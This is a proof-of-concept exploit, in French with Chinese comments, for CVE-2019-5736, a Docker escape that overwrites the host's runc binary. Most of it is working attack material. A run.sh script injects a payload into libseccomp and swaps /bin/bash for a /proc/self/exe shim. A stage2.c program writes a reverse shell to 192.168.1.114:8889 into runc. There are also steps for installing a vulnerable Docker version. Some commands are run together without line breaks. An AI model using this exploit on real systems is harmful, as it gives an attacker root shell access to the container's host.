
Preuve de concept d'exploit pour CVE-2019-5736, une évasion de conteneur Docker via l'écrasement du binaire runc, permettant un accès au shell de l'hôte via la manipulation de libseccomp.
Référence : cve-2019-5736-poc
docker build -t cve .docker run -d cve /bin/bash -c "tail -f /dev/null"cp /usr/bin/docker-runc /usr/bin/docker-runc.bakdocker exec -it docker-id /bin/bashcd /root/libseccomp-2.5.1cd /root && ./run.sh && exitdocker exec -it docker-id /bin/bashrun.sh
#!/bin/bash
# libseccomp版本及时关注容器创建后/root目录下下载的对应版本信息
cd /root/libseccomp-2.5.1
cat /root/stage1.c >> src/api.c
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us
dpkg -i /root/*.deb
mv /bin/bash /bin/good_bash
gcc /root/stage2.c -o /stage2
cat >/bin/bash <<EOF
#!/proc/self/exe
EOF
chmod +x /bin/bash
Hôte : Ubuntu 18.04
Docker-ce : 18.06.1~ce~3-0~ubuntu
docker-runc : 1.0
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
# 如出错,cd /var/lib/dpkg/updates删除目录下的所有文件再执行以上
root@root:~# sudo apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
stage2.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char **argv) {
printf("HAX2: argv: %s\n", argv[1]);
int res1 = -1;
int total = 10000;
while(total>0 && res1== -1){
int fd = open(argv[1], O_RDWR|O_TRUNC);
printf("HAX2: fd: %d\n", fd);
const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.1.114/8889 0>&1 &\n";
int res = write(fd, poc, strlen(poc));
printf("HAX2: res: %d, %d\n", res, errno);
res1 = res;
total--;
}
}
docker build -t cve-2019-5736 .

docker run -d cve-2019-5736 /bin/bash -c "tail -f /dev/null"

docker-runc sur l'hôteCar plus tard on va remplacer le fichier docker-runc du système
cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
docker exec -it 655378598a92 /bin/bash
# 备注:及时修改run.sh文件中libseccomp版本信息再执行
cd /root
./run.sh
exit
# docker exec -it 655378598a92 /bin/bash
# 此时nc监听会收到一个反弹宿主机的shell
